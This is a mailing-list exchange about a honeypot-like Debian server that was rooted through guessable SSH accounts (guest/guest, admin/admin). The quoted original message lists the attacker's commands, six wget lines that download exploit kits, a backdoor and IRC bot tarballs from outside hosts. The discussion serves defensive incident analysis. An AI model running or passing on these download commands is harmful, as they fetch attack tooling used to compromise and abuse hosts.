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Message-ID: <412D2433.2000502@Cisco.com>
From: GEisenhaur at Cisco.com (Gerry Eisenhaur)
Subject: Automated ssh scanning

I am confused, you said you knew about some SSH scanning going on, then 
set up those accounts on a box. Now you are curious way that box got rooted?

Maybe I am missing something, but it seems you already have a pretty 
good assumption of why it got rooted.

The software, as you seem to know, is a few exploits, a backdoor and 
some IRC stuff(bot and proxy).

/gerry


Richard Verwayen wrote:
> Hello list!
> 
> A few weeks ago there was a discussion about automated ssh scanning with
> user/password combinations like guest/guest or admin/admin.
> I set up a debian woody fully patched with both accounts activated, and
> got rooted some days later...
> 
> The attackers installed some software and irc-bots and tried to use this
> host for testing other computers, thats not the point. I would like to
> know where's the weak point in the system? As the system was updates on
> a daily base! The only known weakness were these two accounts!
> 
> Here is a list of software the attacker used, maybe someone could bring
> a bit light into this tunnel!
> 
> wget sky.prohosting.com/awxro/linux/xpl.tar.gz
> wget www.bo2k-rulez.net/a
> wget www.bo2k-rulez.net/psybnc.tgz
> wget www.corbeanu.as.ro/t.gz
> wget roarmy.com/god.tgz
> wget www.generatiapro.go.ro/fast.tgz
> 
> 
> Richard
> 
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